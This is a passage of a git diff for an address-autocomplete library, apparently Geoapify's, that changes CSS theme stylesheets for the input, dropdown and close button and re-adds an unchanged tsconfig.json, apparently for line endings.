+ border: 1px solid rgba(255, 255, 255, 0.2);
+ border-radius: 5px;
+
+ background-color: rgba(255, 255, 255, 0.1);
+ color: rgba(255, 255, 255, 0.8);
+
+ font-size: 14px;
+}
+
+.geoapify-autocomplete-input::placeholder {
+ color: rgba(255, 255, 255, 0.5);
+}
+
+.geoapify-autocomplete-items {
+ position: absolute;
+ top: calc(100% + 2px);
+ left: 0;
+ right: 0;
+
+ border: 1px solid rgba(255, 255, 255, 0.1);
+ border-radius: 5px;
+ overflow: hidden;
+
+ background-color: #313131;
+ color: rgba(255, 255, 255, 0.8);
+ box-shadow: 0px 4px 10px 2px rgba(255, 255, 255, 0.1);
+
+ z-index: 99;
+}
+
+.geoapify-autocomplete-items div {
+ padding: 10px;
+ cursor: pointer;
+}
+
+.geoapify-autocomplete-items div:hover {
+ background-color: rgba(255, 255, 255, 0.1);
+}
+
+.geoapify-autocomplete-items .active {
+ background-color: rgba(255, 255, 255, 0.1);
+}
+
+.geoapify-autocomplete-item {
+ display: flex;
+ flex-direction: row;
+ align-items: center;
+}
+
+.geoapify-autocomplete-item .icon {
+ display: inline-block;
+ width: 40px;
+ height: 24px;
+ color: #aaa;
+}
+
+.geoapify-autocomplete-item .icon.emoji {
+ color: unset;
+ font-size: 20px;
+ opacity: 0.9;
+}
+
+.geoapify-close-button {
+ position: absolute;
+ right: 5px;
+ top: 0;
+
+ height: 100%;
+ display: none;
+ align-items: center;
+}
+
+.geoapify-close-button.visible {
+ display: flex;
+}
+
+.geoapify-close-button {
+ color: rgba(255, 255, 255, 0.4);
+ cursor: pointer;
+}
+
+.geoapify-close-button:hover {
+ color: rgba(255, 255, 255, 0.6);
+}
+
+.geoapify-autocomplete-items .secondary-part {
+ margin-left: 10px;
+ font-size: small;
+ color: rgba(255, 255, 255, 0.6);
+}
+
+.geoapify-autocomplete-items .main-part .non-verified {
+ color: #ff8080;
}
\ No newline at end of file
diff --git a/styles/round-borders.css b/styles/round-borders.css
index 119d634..7800bdb 100644
--- a/styles/round-borders.css
+++ b/styles/round-borders.css
@@ -1,92 +1,92 @@
-.geoapify-autocomplete-input {
- outline: none;
- line-height: 36px;
- height: 36px;
- padding: 0 31px 0 7px;
- width: calc(100% - 40px);
-
- border: 1px solid rgba(0, 0, 0, 0.2);
- border-radius: 5px;
-
- font-size: 14px;
-}
-
-.geoapify-autocomplete-items {
- position: absolute;
- top: calc(100% + 2px);
- left: 0;
- right: 0;
-
- background-color: #fff;
- border: 1px solid rgba(0, 0, 0, 0.1);
- border-radius: 5px;
- overflow: hidden;
-
- box-shadow: 0px 2px 10px 2px rgba(0, 0, 0, 0.1);
- z-index: 99;
-}
-
-.geoapify-autocomplete-items div {
- padding: 10px;
- cursor: pointer;
-}
-
-.geoapify-autocomplete-items div:hover {
- background-color: rgba(0, 0, 0, 0.1);
-}
-
-.geoapify-autocomplete-items .active {
- background-color: rgba(0, 0, 0, 0.1);
-}
-
-.geoapify-autocomplete-item {
- display: flex;
- flex-direction: row;
- align-items: center;
-}
-
-.geoapify-autocomplete-item .icon {
- display: inline-block;
- width: 40px;
- height: 24px;
- color: #aaa;
-}
-
-.geoapify-autocomplete-item .icon.emoji {
- color: unset;
- font-size: 20px;
- opacity: 0.9;
-}
-
-.geoapify-close-button {
- position: absolute;
- right: 5px;
- top: 0;
-
- height: 100%;
- display: none;
- align-items: center;
-}
-
-.geoapify-close-button.visible {
- display: flex;
-}
-
-.geoapify-close-button {
- color: rgba(0, 0, 0, 0.4);
- cursor: pointer;
-}
-
-.geoapify-close-button:hover {
- color: rgba(0, 0, 0, 0.6);
-}
-
-.geoapify-autocomplete-items .main-part .non-verified {
- color: #ff4848;
-}
-
-.geoapify-autocomplete-items .secondary-part {
- margin-left: 10px;
- font-size: small;
- color: rgba(0, 0, 0, 0.6);
+.geoapify-autocomplete-input {
+ outline: none;
+ line-height: 36px;
+ height: 36px;
+ padding: 0 31px 0 7px;
+ width: calc(100% - 40px);
+
+ border: 1px solid rgba(0, 0, 0, 0.2);
+ border-radius: 5px;
+
+ font-size: 14px;
+}
+
+.geoapify-autocomplete-items {
+ position: absolute;
+ top: calc(100% + 2px);
+ left: 0;
+ right: 0;
+
+ background-color: #fff;
+ border: 1px solid rgba(0, 0, 0, 0.1);
+ border-radius: 5px;
+ overflow: hidden;
+
+ box-shadow: 0px 2px 10px 2px rgba(0, 0, 0, 0.1);
+ z-index: 99;
+}
+
+.geoapify-autocomplete-items div {
+ padding: 10px;
+ cursor: pointer;
+}
+
+.geoapify-autocomplete-items div:hover {
+ background-color: rgba(0, 0, 0, 0.1);
+}
+
+.geoapify-autocomplete-items .active {
+ background-color: rgba(0, 0, 0, 0.1);
+}
+
+.geoapify-autocomplete-item {
+ display: flex;
+ flex-direction: row;
+ align-items: center;
+}
+
+.geoapify-autocomplete-item .icon {
+ display: inline-block;
+ width: 40px;
+ height: 24px;
+ color: #aaa;
+}
+
+.geoapify-autocomplete-item .icon.emoji {
+ color: unset;
+ font-size: 20px;
+ opacity: 0.9;
+}
+
+.geoapify-close-button {
+ position: absolute;
+ right: 5px;
+ top: 0;
+
+ height: 100%;
+ display: none;
+ align-items: center;
+}
+
+.geoapify-close-button.visible {
+ display: flex;
+}
+
+.geoapify-close-button {
+ color: rgba(0, 0, 0, 0.4);
+ cursor: pointer;
+}
+
+.geoapify-close-button:hover {
+ color: rgba(0, 0, 0, 0.6);
+}
+
+.geoapify-autocomplete-items .main-part .non-verified {
+ color: #ff4848;
+}
+
+.geoapify-autocomplete-items .secondary-part {
+ margin-left: 10px;
+ font-size: small;
+ color: rgba(0, 0, 0, 0.6);
}
\ No newline at end of file
diff --git a/tsconfig.json b/tsconfig.json
index f839efb..ca676c7 100644
--- a/tsconfig.json
+++ b/tsconfig.json
@@ -1,69 +1,69 @@
-{
- "compilerOptions": {
- /* Basic Options */
- // "incremental": true, /* Enable incremental compilation */
- "target": "ESNEXT", /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019' or 'ESNEXT'. */
- "module": "ESNext", /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'. */
- // "lib": [], /* Specify library files to be included in the compilation. */
- // "allowJs": true, /* Allow javascript files to be compiled. */
- // "checkJs": true, /* Report errors in .js files. */
- // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', or 'react'. */
- "declaration": true, /* Generates corresponding '.d.ts' file. */
- // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */
- // "sourceMap": true, /* Generates corresponding '.map' file. */
- // "outFile": "./", /* Concatenate and emit output to single file. */
- "outDir": "./dist", /* Redirect output structure to the directory. */
- // "rootDir": "./", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */
- // "composite": true, /* Enable project compilation */
- // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */
- // "removeComments": true, /* Do not emit comments to output. */
- // "noEmit": true, /* Do not emit outputs. */
- // "importHelpers": true, /* Import emit helpers from 'tslib'. */
- // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */
- // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */
-
- /* Strict Type-Checking Options */
- "strict": true, /* Enable all strict type-checking options. */
- // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */
- "strictNullChecks": false, /* Enable strict null checks. */
- // "strictFunctionTypes": true, /* Enable strict checking of function types. */
- // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */
- // "strictPropertyInitialization": true, /* Enable strict checking of property initialization in classes. */
- // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */
- // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */
-
- /* Additional Checks */
- // "noUnusedLocals": true, /* Report errors on unused locals. */
- // "noUnusedParameters": true, /* Report errors on unused parameters. */
- // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */
- // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */
-
- /* Module Resolution Options */
- "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */
- // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */
- // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */
- // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */
- // "typeRoots": [], /* List of folders to include type definitions from. */
- // "types": [], /* Type declaration files to be included in compilation. */
- // "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */
- "esModuleInterop": true, /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */
- // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */
- // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */
-
- /* Source Map Options */
- // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */
- // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */
- // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */
- // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */
-
- /* Experimental Options */
- // "experimentalDecorators": true, /* Enables experimental support for ES7 decorators. */
- // "emitDecoratorMetadata": true, /* Enables experimental support for emitting type metadata for decorators. */
-
- /* Advanced Options */
- "forceConsistentCasingInFileNames": true, /* Disallow inconsistently-cased references to the same file. */
- "resolveJsonModule": true
- },
- "include": ["src"],
- "exclude": ["node_modules", "**/__tests__/*", "dist", "rollup-config.mjs"]
-}
+{
+ "compilerOptions": {
+ /* Basic Options */
+ // "incremental": true, /* Enable incremental compilation */
+ "target": "ESNEXT", /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019' or 'ESNEXT'. */
+ "module": "ESNext", /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'. */
+ // "lib": [], /* Specify library files to be included in the compilation. */
+ // "allowJs": true, /* Allow javascript files to be compiled. */
+ // "checkJs": true, /* Report errors in .js files. */
+ // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', or 'react'. */
+ "declaration": true, /* Generates corresponding '.d.ts' file. */
+ // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */
+ // "sourceMap": true, /* Generates corresponding '.map' file. */
+ // "outFile": "./", /* Concatenate and emit output to single file. */
+ "outDir": "./dist", /* Redirect output structure to the directory. */
+ // "rootDir": "./", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */
+ // "composite": true, /* Enable project compilation */
+ // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */
+ // "removeComments": true, /* Do not emit comments to output. */
+ // "noEmit": true, /* Do not emit outputs. */
+ // "importHelpers": true, /* Import emit helpers from 'tslib'. */
+ // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */
+ // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */
+
+ /* Strict Type-Checking Options */
+ "strict": true, /* Enable all strict type-checking options. */
+ // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */
+ "strictNullChecks": false, /* Enable strict null checks. */
+ // "strictFunctionTypes": true, /* Enable strict checking of function types. */
+ // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */
+ // "strictPropertyInitialization": true, /* Enable strict checking of property initialization in classes. */
+ // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */
+ // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */
+
+ /* Additional Checks */
+ // "noUnusedLocals": true, /* Report errors on unused locals. */
+ // "noUnusedParameters": true, /* Report errors on unused parameters. */
+ // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */
+ // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */
+
+ /* Module Resolution Options */
+ "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */
+ // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */
+ // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */
+ // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */
+ // "typeRoots": [], /* List of folders to include type definitions from. */
+ // "types": [], /* Type declaration files to be included in compilation. */
+ // "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */
+ "esModuleInterop": true, /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */
+ // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */
+ // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */
+
+ /* Source Map Options */
+ // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */
+ // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */
+ // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */
+ // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */
+
+ /* Experimental Options */
+ // "experimentalDecorators": true, /* Enables experimental support for ES7 decorators. */
+ // "emitDecoratorMetadata": true, /* Enables experimental support for emitting type metadata for decorators. */
+
+ /* Advanced Options */
+ "forceConsistentCasingInFileNames": true, /* Disallow inconsistently-cased references to the same file. */
+ "resolveJsonModule": true
+ },
+ "include": ["src"],
+ "exclude": ["node_modules", "**/__tests__/*", "dist", "rollup-config.mjs"]
+}